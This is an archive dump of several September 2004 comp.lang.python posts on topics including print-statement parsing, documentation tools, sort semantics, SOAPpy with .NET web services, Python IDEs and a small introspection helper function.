<Xns95658A6A9564Eduncanrcpcouk@127.0.0.1> <6f402501.0409151157.56b8d517@posting.google.com> <ciab1s$seb$00$1@news.t-online.com> <ciahfb$j2g$0$216.39.172.122@theriver.com> <ciaqrg$gp9$06$1@news.t-online.com> <cicgol$sno$0$216.39.172.122@theriver.com> Message-ID: <cici0p$as6$06$1@news.t-online.com> > No, the second print in print print is just a name. > The translation is > print((), print) > where after this translation both prints are ordinary names, and the print > statement per se is effectively forgotten as far as compilation is > concerned. I understood that that was what you _wanted_ it to be - but how do you want to parse that? It would involve saying "first encounter of print is a keyword, then an identifier" - that condition is reset after the statement, so to speak the next line or a semicolon. That surely is possible, but has to be done _after_ lexcal analysis - which makes things more complicated as necessary, for a very questionable benefit. > The point is, a print statement is recognized _syntactically_ by 'print' > being the first name in the statement, but for the rest of the statement > 'print' is an ordinary name. Thus > print; foo = print; foo((), 'Hi there') How shall that work? Right now, print ; print produces two newlines. Do you want to alter that behaviour? Do you want to complicate parsing even more by saying that print on the right side of an expression is the name, otherwise its executed? That would be inconsistent - every newby would ask why >>> foo then isn't evaluated, but yields <funtion foo>, whereas >>> print produces a nl. > would print a newline, bind foo to the builtin print function, and invoke > the latter via foo, (using () to indicate default outfile). None could > also be used to indicate default outfile. I just picked () as more > flexibly adaptable to what I hadn't thought of yet re specifying outfile > ;-) Maybe a keyword arg would be better yet. I.e., as in def print(*args > **kw) with outfile=kw.get('outfile', sys.stdout). But that's an > implementation detail. > No, you have misunderstood (I wasn't clear enough) my suggestion. No > ambiguity, but yes, a print name token as the leading token of a statement > is interpreted specially. You could interpret print(x) differently from > print (x) analogously to 123.__doc__ (illegal) vs 123 .__doc__ which gives > you int docs. >> >>>>> len >><built-in function len> >>>>> >> >>has no sideeffects whatsoever, where >> >>>>> print >> >>>>> >> >>clearly has. > as does > > sys.stdout.write('\n') > > so I guess I am missing your point. The point is that two things that look alike should behave the same for reasons of orthogonality - having as special-case of print here does produce behaviour that yields to confusion, as I said before. That is of course also true right now - but because print beeing a reserved keyword, nobody falls into any traps here - its just forbidden. > It doesn't seem that complex a context for print, but I haven't thought > about the other keywords yet (no time really for this even ;-/). I wonder > what a comprehensive writeup of python name semantics would reveal, > discussing all the different name spaces and ways that names are searched > for and used in various contexts. Well, its certainly more complicated than just altering the lexical phase - it requrires a post-reduction step - deep in the parser. -- Regards, Diez B. Roggisch From nkour at freemail.gr Sun Sep 26 17:54:47 2004 From: nkour at freemail.gr (Nikos Kouremenos) Date: Mon, 27 Sep 2004 00:54:47 +0300 Subject: HappyDoc not so happy? In-Reply-To: <xM2dnRcxOLs4Z8vcRVn-rw@rogers.com> References: <xM2dnRcxOLs4Z8vcRVn-rw@rogers.com> Message-ID: <1096235692.213775@athnrd02> Dan Perl wrote: > Does anyone know what is happening with HappyDoc? I downloaded the latest > release (3.0 from April, 2003) but it cannot even be installed (there is a > bug report for that already). Is anyone still working on it? > > What other similar tools for extracting documentation would you recommend? > I find pydoc extremely rudimentary and I am using epydoc instead. However, > I found a bug in epydoc that's a big thorn in my side (although it's a great > tool otherwise) so I am looking for alternatives. I tried an older release > of HappyDoc (2.1) but I'm not "happy" with it either and I find it > definitely worse than epydoc. > > What is Zope using these days? HappyDoc advertises that it is used by Zope, > but that's probably an old reference. I also found a reference to a ZAPIDOC > project in Zope, but that seems to be dead too. > > http://sourceforge.net/projects/epydoc From dwelch91 at comcast.net Fri Sep 17 22:08:07 2004 From: dwelch91 at comcast.net (djw) Date: Sat, 18 Sep 2004 02:08:07 GMT Subject: Recommendations about xmltramp In-Reply-To: <opsehcf5d4r0m89z@fx1025> References: <opsehcf5d4r0m89z@fx1025> Message-ID: <bMM2d.318757$8_6.5616@attbi_s04> Jonas Hei wrote: > I'd like to get experts' opinion about > xmltramp (http://www.aaronsw.com/2002/xmltramp/). > > I am still in early stages of exploration - I need to > determine to process XML in my next project. > Currently I like ElementTree (@ effbot.org) and xmltramp. > But I am bit concerned about Mark Pilgrim's comments about > xmltree(http://diveintomark.org/archives/blinks/2003/12/#b20031218035253) > > Can anyone elaborate/explain about scenarios in which xmltramp can > corrupt data? > Or was it all just a joke... > > The PyRXP parser (http://www.reportlab.org/pyrxp.html) lets you access XML in a way similar to xmltree using the TagWrapper class in xmlutils.xml. I've used it and it has worked very well (its also very fast). -Don From abra9823 at mail.usyd.edu.au Thu Sep 2 01:22:00 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 2 Sep 2004 15:22:00 +1000 Subject: visual c++ and python Message-ID: <1094102520.4136adf882767@www-mail.usyd.edu.au> hi! has anyone got a visual c++ program to call a python module? can that be done? cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From pitkali at NOSPAMinteria.pl Tue Sep 14 13:31:51 2004 From: pitkali at NOSPAMinteria.pl (pitkali) Date: Tue, 14 Sep 2004 19:31:51 +0200 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> Message-ID: <ci79v3$rh$1@atlantis.news.tpi.pl> Jorge Godoy wrote: > Indeed... But first, I'm curious about how it looks. I don't > understand why people make GUI projects without any screenshot available > on their own website. How can we see how it looks without downloading, > it? It says explicitly what toolkits are used. Don't you know how gtk2 looks like? Regards, -- * Piotr (pitkali) Kalinowski * mailto: pitkali (at) o2 (dot) pl * * Registered Linux User No. 282090 * Powered by Gentoo Linux * * Fingerprint: D5BB 27C7 9993 50BB A1D2 33F5 961E FE1E D049 4FCD * From ville at spammers.com Mon Sep 27 14:54:58 2004 From: ville at spammers.com (Ville Vainio) Date: 27 Sep 2004 21:54:58 +0300 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: <du7ekkn8rul.fsf@amadeus.cc.tut.fi> >>>>> "Alex" == Alex Martelli <aleaxit at yahoo.com> writes: Alex> For overload purposes, you might have the decorator actually Alex> take as arguments some _types_ and record them so that the Alex> metaclass can arrange for the dispatching based on Alex> actual-argument types... I believe several implementations of generic functions/multimethods in Python exist already; Quick googling brings up http://mail.python.org/pipermail/python-dev/2004-April/043902.html def generic(*type_signature): """ A decorator-generator that can be used to incrementally construct a generic function that delegates to individual functions based on the type signature of the arguments. For example, the following code defines a generic function that uses two different actual functions, depending on whether its argument is a string or an int: >>> def f(x) [generic(int)]: ... print x, 'is an int' >>> def f(x) [generic(str)]: ... print x, 'is a string' Alex> If you bletch at having to decorate each overloaded version Alex> with '@overloaded', consider C# basically requires that Alex> "just BECAUSE", without even having a good excuse such as Alex> "we need to do it that way due to Python's semantics"...;-) I think it's "override" in C#, and stands for overriding a method in base class: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/csref/html/vclrfOverridePG.asp -- Ville Vainio http://tinyurl.com/2prnb From aaaaa at bbb.it Sun Sep 26 05:00:25 2004 From: aaaaa at bbb.it (Frate) Date: Sun, 26 Sep 2004 09:00:25 GMT Subject: Blender! Message-ID: <Jyv5d.8761$N45.227281@twister2.libero.it> Ciao a tutti allora, ho scaricato e installato blender, ma quando in python(2.3) compilo un file di esempio mi dice che non trova il modulo blender.. io ho aggiunto come variabile path (sul mio xp) la directory di bender. ma cmq non va? come mai? From irmen at -nospam-remove-this-xs4all.nl Mon Sep 27 19:08:02 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Tue, 28 Sep 2004 01:08:02 +0200 Subject: ANN: Snakelets 1.34 (simple-to-use web app server with dynamic pages) Message-ID: <41589d53$0$10528$e4fe514c@news.xs4all.nl> I'm happy to say that Snakelets 1.34 is available. Snakelets is a very simple-to-use Python web application server. This project provides a built-in threaded web server (so you don't need to set up Apache or another web server), Ypages (HTML+Python language, similar to Java's JSPs) and Snakelets: code-centric page request handlers (similar to Java's Servlets). Snakelets is fully unicode compatible and it's possible to run it from a CD (read-only mode). It's released under the open-source MIT Software license. You can download from http://snakelets.sourceforge.net (go to the SF project site, and then the file section). Recent changes include: - updated docs and examples - fixes concerning loginpages and page encoding with redirected pages - small Ypage parser/compiler bugfixes and improvements - new plugin mechanism - example plugins include a page cache and http compression (plugins are available separately). To start, edit the vhost config file (see docs) and then run the serv.py script, or the monitor.py script if you want to start it as a daemon (on Unix). Enjoy, --Irmen de Jong. P.S. if you want to see Snakelets live, visit www.promozilla.org (warning: the site is in Dutch) From steven.bethard at gmail.com Tue Sep 21 16:43:44 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 20:43:44 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <864d37090409211107302ef8a5@mail.gmail.com> <mailman.3667.1095791394.5135.python-list@python.org> <%e04d.6521$gG4.1383@newsread1.news.pas.earthlink.net> Message-ID: <loom.20040921T224136-4@post.gmane.org> Andrew Dalke <adalke <at> mindspring.com> writes: > > Yeah, by restricting comparisons, we'd be basically saying that sort > > is only defined for lists that take the form list<some_type>. > > or where a compare function can be passed to .sort(), or > where (in 2.4) a keys function can be passed to get the > objects used for the comparison. Why is this a problem? It's not, for me at least -- I'm all for restricting sort in this way. I'm just trying to understand what problems other people are trying to solve that they think they'd need other behavior from sort, and in what ways they can work around the proposed limitations. Steve From richardjones at optushome.com.au Wed Sep 8 19:09:08 2004 From: richardjones at optushome.com.au (richard) Date: Thu, 09 Sep 2004 09:09:08 +1000 Subject: Why is this legal? References: <2uK%c.21$pW.773@news.itd.umich.edu> Message-ID: <413f9114$0$28401$afc38c87@news.optusnet.com.au> Michael George Lerner wrote: > cluster = [c for (c.resi,c) in cluster] # undecorate > > That last line actually assigns c.resi for each c in cluster. > > Is there any reason you'd ever want to do this? Yes, I've done it many times. Richard From steven.bethard at gmail.com Tue Sep 21 14:44:02 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 18:44:02 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <20040921173455.GB2891@unununium.org> <loom.20040921T193847-890@post.gmane.org> <20040921182934.GA9959@unununium.org> Message-ID: <loom.20040921T203419-585@post.gmane.org> Phil Frost <indigo <at> bitglue.com> writes: > That's the point. Dicts can't be sorted, but binary trees *must* be. Ahh, I see. You're suggesting using binary trees as an implementation of a mapping. Binary trees have so many uses, I wasn't really clear what you were suggesting they be used as. (After I sent my mail, I had (incorrectly) determined that you intended them as sets...) > It's not something that I do often, but it's something that's important to > have. It does come down to a question nearly identical to the one I asked before: (1) "is there a good use case for wanting to sort a list containing incompatible types?" (my previous question) (2) "is there a good use case for wanting to make a mapping with keys that have incompatible types?" (my question to you) To some degree, (1) has already been answered to my satisfaction by Carlos Ribeiro's spreadsheet example. If you could give me a real world example of when you'd want to do (2), I might be more convinced... Thanks, Steve From aleaxit at yahoo.com Tue Sep 7 18:04:02 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 00:04:02 +0200 Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> <4139E730.4060203@v.loewis.de> <213df9a1.0409070553.662fc885@posting.google.com> <413e1a13$0$151$9b622d9e@news.freenet.de> Message-ID: <1gjrpdf.lc9o5v81ve2pN%aleaxit@yahoo.com> "Martin v. L?wis" <martin at v.loewis.de> wrote: > Arthur wrote: > > """The copy module does not use the copy_reg registration module.""" > > > > This is actually pretty esoteric stuff for someone who has not delved > > into these mysteries before, so I am a bit lost. > > It appears that this documentation is incorrect. Just look at the > source of copy.py and see for yourself: You're right, of course, but it's hard to reconcile that with the recent diktat on py-dev that what's in the source doesn't matter -- only what's documented to work matters (it's in Brett Cannon's python-dev summary of 3 weeks ago, I can find the links from there to the archives if you wish). Given that peculiar decision, the fact that copy DOES use copy_reg, in total violation of the docs, looks like it could be taken away anytime, as a bugfix... If we want to keep advising people to check the sources, then that particular python-dev decision must then be reversed; otherwise we should stop advising using the sources as the ultimate reference... I don't think we can have it both ways! Alex From ismaelherreragasser at hotmail.com Thu Sep 30 00:09:38 2004 From: ismaelherreragasser at hotmail.com (Ismael Herrera) Date: Thu, 30 Sep 2004 00:09:38 -0400 Subject: ipython instrospection like editor,ide Message-ID: <cjg0uf$gna$1@sea.gmane.org> Hi,i wonder if there is an editor or ide that has similar dinamic instrospection features as ipython? ,since i have failed to find one, i spend more time coding in ipython than in my editor. Well the feature i need the most is tab introspection since python has so many libraries and functions that is imposible to remember all of them.For example when i type urllib2.<tab> i get: urllib2.AbstractBasicAuthHandler urllib2.__class__ urllib2.mimetools urllib2.AbstractDigestAuthHandler urllib2.__delattr__ urllib2.mimetypes urllib2.AbstractHTTPHandler urllib2.__dict__ urllib2.noheaders urllib2.BaseHandler urllib2.__doc__ urllib2.os urllib2.CacheFTPHandler urllib2.__file__ urllib2.parse_http_list urllib2.CustomProxy urllib2.__getattribute__ urllib2.parse_keqv_list <skip>.. I also made a function that gives me a quickly overview of an objects,for example when i type h(urllib2) i get : AbstractBasicAuthHandler <c> : Non AbstractDigestAuthHandler <c> : Non AbstractHTTPHandler <c> : Non BaseHandler <c> : Non CacheFTPHandler <c> : Non CustomProxy <c> : Non CustomProxyHandler <c> : Non socket <m> : This module provides socket operations and some related splitattr <f> : splitattr('/path;attr1=value1;attr2=value2;...') -> splitgophertype <f> : splitgophertype('/Xselector') --> 'X', 'selector' splithost <f> : splithost('//host[:port]/path') --> 'host[:port]', '/path' splitpasswd <f> : splitpasswd('user:passwd') -> 'user', 'passwd' splitport <f> : splitport('host:port') --> 'host', 'port' splitquery <f> : splitquery('/path?query') --> '/path', 'query' splittype <f> : splittype('type:opaquestring') --> 'type', 'opaquestring' splituser <f> : splituser('user[:passwd]@host[:port]') --> 'user[:passwd]', unquote <f> : unquote('abc%20def') -> 'abc def' unwrap <f> : unwrap('<URL:type://host/path>') --> 'type://host/path' url2pathname <f> : Non urlopen <f> : Non urlparse <m> Well,i would like similar functionality in the enviroment that i am coding in, i hate having to go to the interactive shell every 7 seconds to type 'h(<class name>)' for example. The code for my help function (is sucky since i have had so much trouble finding the types of some objects and doesnt work for some modules): import sgmllib import types def h(name,display='all',allow_herencia=False): '''name-> any object name that is not an instance(module,attr,func) display-> all | m | f | c | a ie : m = module allow_Herencia True | False Display object's information for a quick overview ''' if allow_herencia == True : iter = dir(name) else : iter = name.__dict__.keys() iter.sort() for x in iter: attr = getattr(name,x) try: ## can be better with hasattr() builtin doc = str(attr.__doc__) except: print ' %s %s' % (x,attr) continue else : limit = doc.find('\n') doc = doc[:limit] membertype = __gettype(attr) if display is membertype or display is 'all': print ' %s <%s> : %s' % (x,membertype,doc) def __gettype(attr): ## needs reworking t = type(attr) #print t if t is types.ModuleType : return 'm' elif t is type(str.isupper) or\ t is types.BuiltinFunctionType or\ t is types.FunctionType or\ t is types.UnboundMethodType or\ t is '<type \'instancemethod\'>' : return 'f' elif t is type(str.__eq__) : return 'w' #wraper elif t is types.TypeType or t is type(sgmllib.SGMLParser): return 'c' else: return 'a' From mlerner at asteroids.gpcc.itd.umich.edu Wed Sep 8 23:34:44 2004 From: mlerner at asteroids.gpcc.itd.umich.edu (Michael George Lerner) Date: Thu, 09 Sep 2004 03:34:44 GMT Subject: Why is this legal? References: <2uK%c.21$pW.773@news.itd.umich.edu> <mailman.3066.1094692871.5135.python-list@python.org> Message-ID: <obQ%c.43$pW.959@news.itd.umich.edu> Gary Herron <gherron at islandtraining.com> wrote: > On Wednesday 08 September 2004 02:05 pm, Michael George Lerner wrote: >> I tracked down a bug today that boiled down the "undecorate" part of >> this "decorate-sort-undecorate": >> >> cluster = [(c.resi,c) for c in cluster] # decorate >> cluster.sort() # sort >> cluster = [c for (c.resi,c) in cluster] # undecorate >> >> That last line actually assigns c.resi for each c in cluster. > So if you don't want to assign to c.resi don't use it as a loop > variable: > cluster = [c for (ignored,c) in cluster] # undecorate > or > cluster = [item[1] for item in cluster] # undecorate Yup. I rewrote it as cluster = [c for (resi,c) in cluster] # undecorate once I found the bug. I think I was just annoyed that it was so easy to write the undecorate line by copying the decorate line and moving terms around .. easy, but broken. You and Jeff Shannon have convinced me that I just need to make sure that I don't forget that a list comprehension is really just a cute for loop. It still seems a little jarring, though. Thanks, -michael >> Is there any reason you'd ever want to do this? > There is a big reason to want it to stay this way. The rule that > "each pass through the loop rebinds the loop variable (or tuple of > loop variables)" is simple, and clear. For that reason alone, we > don't want to ever change it. > Gary Herron From robin.siebler at palmsource.com Mon Sep 13 23:00:44 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 20:00:44 -0700 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> <d52c72d2040913132260f78197@mail.gmail.com> <mailman.3270.1095109034.5135.python-list@python.org> Message-ID: <95c29a5e.0409131900.2821c2a5@posting.google.com> The new version has conditional breakpoints which rocks! From mhatmaker at gmail.com Wed Sep 15 00:37:47 2004 From: mhatmaker at gmail.com (Michael Hatmaker) Date: 14 Sep 2004 21:37:47 -0700 Subject: Problems getting Python client (SOAPpy) to consume .NET web services References: <cba30467.0409131445.734b131a@posting.google.com> <ci6ana$445$1@online.de> Message-ID: <cba30467.0409142037.516ee029@posting.google.com> Nice catch! Actually, I had tried that once, but there is one more trick to make this work (that I had since added). You must add the following line in your C# web service (I put it before the [WebService(Namespace=...] line): [SoapDocumentService (Use=SoapBindingUse.Encoded)] (and I also think you need to import the following:) using System.Web.Services.Protocols; using System.Web.Services.Description; using System.Xml.Serialization; So for anyone else that is having this problem, the solution is the combination of the two: (1) You must ad the [SoapDocumentService (Use=SoapBindingUse.Encoded)] line to your web service (along with all the appropriate "using" statements shown above) and (2) you must specify the arguments by name in the method call like "server.Add(a=3, b=5)". Phew. Thanks again for making me go back and take a look at that named arguments thing. I still don't know if there is hope for using a .NET web service that I didn't write (such as those on www.xmethods.net), but I'll be sure to let everyone know if I find a solution. Benjamin Niemann <b.niemann at betternet.de> wrote in message news:<ci6ana$445$1 at online.de>... > Michael Hatmaker wrote: > > > I have begun experimenting with web services, and I created some > > simple web services in C# and was able to install them with IIS and > > create an equally simple C# client to consume them. > > > > My next experiment was to use Python to consume these same web > > services, and even though I am able to get Python to consume web > > services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot > > get web services created with MS.NET to work. Actually, methods with > > no arguments work fine, but any methods that take arguments do not > > work. There is no error, it is simply that an incorrect result is > > returned (i.e. my simple Add(int a, int b) web service always returns > > zero). > > > > I tried playing around with the > > [SoapDocumentService(Use=SoapBindingUse.Literal, > > ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I > > have had no success as of yet. I don't think it's just me since I > > cannot consume any of the web services on webmethods.net that are > > created using MS.NET. > > > > My Python code looks something like this: > > > > from SOAPpy import WSDL > > server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL') > > server.SayHello() # works correctly - just prints a hello message > > server.Add(3, 4) # does not work - returns zero > > > > Any tip that would point me in the right direction would be greatly > > appreciated! > I tried this some time before, too. Actually cannot remember, if I finally > succeeded. I think using keyword arguments in Python got me one step further, e.g.: > server.Add(a=3, b=4) From guettli at thomas-guettler.de Thu Sep 23 06:39:13 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 Sep 2004 12:39:13 +0200 Subject: Comparation to other languages References: <d8025bdb.0409230127.369f63c3@posting.google.com> Message-ID: <pan.2004.09.23.10.39.13.222784@thomas-guettler.de> Am Thu, 23 Sep 2004 02:27:46 -0700 schrieb Abdullah Khaidar: > I've read some language -include python- comparation texts > (benchmarks). But they are very old, so that I'm doubt about their > results. Does anyone know language comparation texts which compare > recent version of python -python 2.3- with some other languages? Hi, Maybe you like http://pleac.sf.net/ This compares the code of the perl cookbook with several languages. It does not contain benchmarks. Regards, Thomas From andre.roberge at ns.sympatico.ca Tue Sep 7 22:25:34 2004 From: andre.roberge at ns.sympatico.ca (Andr? Roberge) Date: 7 Sep 2004 19:25:34 -0700 Subject: i18n and GUI under Windows References: <f06d8508.0409061625.10440451@posting.google.com> <chl118$rcl$2@nemesis.news.tpi.pl> Message-ID: <f06d8508.0409071825.4e53be29@posting.google.com> Jarek Zgoda <jzgoda at gazeta.usun.pl> wrote in message news:<chl118$rcl$2 at nemesis.news.tpi.pl>... > Andr? Roberge <andre.roberge at ns.sympatico.ca> pisze: > > > In short: I'm looking for a *simple* example of how to write a program > > that can have its GUI in at least two languages under Windows ... > > using only Python, of course! > > http://wiki.wxpython.org/index.cgi/Internationalization > > This applies to all Python programs, not only wxPython based. Just > follow instructions. Thank you; I found it this morning after more googling. I think it has all that I need. So now, all that is left is coding (and possibly writing a tutorial - although the given reference is already very good.) Andre From carribeiro at gmail.com Wed Sep 22 10:32:58 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 11:32:58 -0300 Subject: Why not FP for Money? In-Reply-To: <10l316da3s2e77d@corp.supernews.com> References: <cc887c1d.0409202325.76ec2227@posting.google.com> <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> <10l316da3s2e77d@corp.supernews.com> Message-ID: <864d3709040922073213d68724@mail.gmail.com> On Wed, 22 Sep 2004 06:55:50 -0700, Al Christians <achrist at easystreet.com> wrote: > 1. You have to remember to re-round after every calculation. Instead of > "a = a + b" you have to write "x = round_money(a + b)". When just about > every statement is decorated like this, you can see that your > programming language is missing something at a low level that you really > might want it to have. OTOH, the rounding rules are very often > domain-specific, so having one particular set of rules built into the > language might be more of a nuisance than a help. When I programmed in Delphi, that's what we had to do. Early versions of Turbo Pascal had BCD libraries, and later versions added support for currency types. But most of the time, we would use extended (80-bit) numbers, and round after every calculation. To forget to round would cause problems pretty quickly -- for example, when running a report, it's fairly easy to have the wrong sum. If I remember it well, at some point Delphi's standard library could be customized to choose between two or three different rounding algorithms, including one called "banker's rounding", where exact half numbers would be converted to the closest even number. The goal was to make sure that the end result of several roundings would not exhibit any tendency, however small, towards the highest value: Normal rounding: 0.5 -> 1 1.5 -> 2 2.5 -> 3 3.5 -> 4 sum of the rounded numbers -> 10 Banker's rounding: 0.5 -> 0 1.5 -> 2 2.5 -> 2 3.5 -> 4 sum of the banker's rounded numbers -> 8 sum of the original numbers -> 8 -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From john at totalrekall.co.uk Sat Sep 4 18:34:07 2004 From: john at totalrekall.co.uk (John Dean) Date: Sat, 4 Sep 2004 22:34:07 GMT Subject: Could somebody tell where to find the dynlib and dev headers for Python on Mac X OS Message-ID: <413a425b$0$22753$db0fefd9@news.zen.co.uk> Hi I am in the process of porting Rekall to Mac X OS and I am having trouble finding the Python SDK. I would be grateful if somebody would be kind enough to point me in the right direction Thank you in advance -- Best Regards John From fakeaddress at nowhere.org Wed Sep 8 02:32:35 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Wed, 08 Sep 2004 06:32:35 GMT Subject: Python Interpreter question. In-Reply-To: <roy-78BC34.14143607092004@reader1.panix.com> References: <chkoc4$l08$1@newsg2.svr.pol.co.uk> <1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com> <roy-78BC34.14143607092004@reader1.panix.com> Message-ID: <7Ix%c.12991$QJ3.2254@newssvr21.news.prodigy.com> Roy Smith wrote: > And this is one of the coolest features of python. Being able to just > type stuff at an interactive prompt instead of having to create a file, > compile it, and run it, makes it so easy to explore bits of the system > you're not sure of. Incidentally, that feature does not require that the language be interpreted. There are interactive programming language systems that attempt to compile text as you type in at the prompt. If syntactically incorrect they report the error, otherwise they execute the native jump or call instruction to the generated machine code. -- --Bryan From nid_oizo at yahoo.com_remove_the_ Thu Sep 23 10:41:47 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Thu, 23 Sep 2004 10:41:47 -0400 Subject: up with PyGUI! In-Reply-To: <4151B7C4.6070003@zephyrfalcon.org> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> Message-ID: <KgB4d.25594$pA.1567708@news20.bellglobal.com> Hans Nowak wrote: > I'm not sure what you mean. One known issue is, that there is some > redundancy when creating a control and adding it to its parent: > > b = Button(parent, ...) > parent.AddComponent(b, ...) What I'm suggesting is to avoid the redundacy and do: parent.Add(Button(...)) I've done it for some GUI framework where I work encapsulating wxPython. The drawback is that you need to delay the creation of widgets, which means some attributes might be stored twice. But it's definitely easier to use. Another thing I'm suggesting is a mechanism to not destroy a widget until it's corresponding python object is destroyed. It's more complex, but Python has already ownership with refcount, garbage collection, etc. and I think a truly pythonic GUI framework should use the same ownership mechanism. > I am thinking of ways to make this simpler. One possible solution would > be to accept a 'layout' parameter: > > b = Button(parent, ..., layout={'expand': 'both', 'border': 2}) > > ...but I'm not sure that actually makes things simpler or more readable. I personally prefer Java-Swing-Layout and wxPython-sizers approach. I think it's better to add widgets in the layout. > It's also possible to do something like this: > > parent.Add(some_control, parameters_for_control, parameters_for_layout) Again, I think layouts/sizers are very nice, since the way to add can be very different dependending on the layout/sizer. For example, specifying col and row when adding to a GridBagLayout. >> It could also be a good idea to take the occasion to respect PEP8. > > Which recommendations of the style guide does the Wax code violate? IIRC, method names beginning with lowercase, as all the Python API. >> Note also that "import wax" would be better than "from wax import *". > > I'm considering it. This way, it would also be possible to import > things on demand. On the other hand, I don't like to write 'wax.' > before everything. It's just that when you work multiple modules, autocompletion for a module doing a "from wx import *" is a nightmare (and is also slowing debuggers, since so many symbols are in each module namespace). If wax becomes big, it would also be a pain. You can do "import wax as w" ;) Regards, Nicolas From drysdam at ll.mit.edu Mon Sep 20 10:17:58 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Mon, 20 Sep 2004 10:17:58 -0400 Subject: using ConfigParser wrong? In-Reply-To: <WsB3d.33$26.27@llslave.llan.ll.mit.edu> References: <WsB3d.33$26.27@llslave.llan.ll.mit.edu> Message-ID: <qEB3d.34$26.2@llslave.llan.ll.mit.edu> NM, I am an idiot. Need to open the file in write mode. David Rysdam wrote: > I have a file test.cfg: > > [options] > option1=foo > option2=bar > > > I have a program testconfig.py: > > import ConfigParser > > config = ConfigParser.ConfigParser() > f = open('test.cfg') > config.readfp(f) > configList = config.items('options') > print configList > config.set('options', 'option3', 'baz') > config.write(f) > > > When I run this program, I get an error: > > Traceback (most recent call last): > File "./testconfig.py", line 11, in ? > config.write(f) > File "/usr/lib/python2.3/ConfigParser.py", line 363, in write > fp.write("[%s]\n" % section) > IOError: [Errno 9] Bad file descriptor > > > Is .write() not right? If not, how do I save the changed config to file? From godoy at ieee.org Mon Sep 27 08:23:05 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 27 Sep 2004 09:23:05 -0300 Subject: Psycopg; How to detect row locking? References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> Message-ID: <m3y8iv3npy.fsf@g2ctech.com> Alban Hertroys <alban at magproductions.nl> writes: > Good day, > > I have a number of threads doing inserts in a table, after which I want > to do a select. This means that it will occur that the row that I want > to select is locked (by the DB). In these cases, I believe I receive an > OperationalError (or is it an InterfaceError?). > > Is it possible (and if so - how?) to verify that the exception occured > because of row locking, so that I can wait and try again? > > Or are there better ways to achieve this? I'm not too charmed about > polling loops that may never end. > > I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2. Are you manually locking those rows? If so, you can maintain some structure to keep track of locked rows. If you are not locking, PostgreSQL uses MVCC where it locks as little as possible and you are able to select the new data inside the same transaction and old data outside of it (until it is commited). -- Godoy. <godoy at ieee.org> From aleaxit at yahoo.com Wed Sep 15 05:53:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 11:53:28 +0200 Subject: Ranting about the state of Python IDEs for Windows References: <mailman.3261.1095106220.5135.python-list@python.org> <xv6dnbAB2MabvtvcRVn-sA@adelphia.com> <2qo1v3F11r4inU1@uni-berlin.de> Message-ID: <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> Daniel Ellison <daniel at syrinx.net> wrote: > It *has* to be mentioned, of course, that Vim (http://www.vim.org) has > nearly every feature mentioned about EditPlus and all the other IDEs, Except, no tabbed interface when editing multiple files (not even with GVIM: just ONE window, as seen from the OS/GUI level, even though vim can partition it). Vim is my favourite editor, but the lack of tabbed interface _is_ a pity. Alex From carribeiro at gmail.com Tue Sep 28 12:38:30 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 13:38:30 -0300 Subject: Metaclass with name overloading. In-Reply-To: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <mailman.3957.1096289972.5135.python-list@python.org> <tyfacvag7h4.fsf@pcepsft001.cern.ch> <mailman.4005.1096368346.5135.python-list@python.org> <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Message-ID: <864d3709040928093843ef6b5b@mail.gmail.com> On Tue, 28 Sep 2004 14:37:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > Carlos Ribeiro <carribeiro at gmail.com> wrote: > ... > > Generic templating mechanisms start as simple variable substitution > > engines, but as they start to be used, there's the need to add control > > structures (if, for, etc); it's also needed to provide more ways for > > the template to communicate with the main program, exchanging > > variables and values. At this point, wouldn't be better to write all > > templates in the main 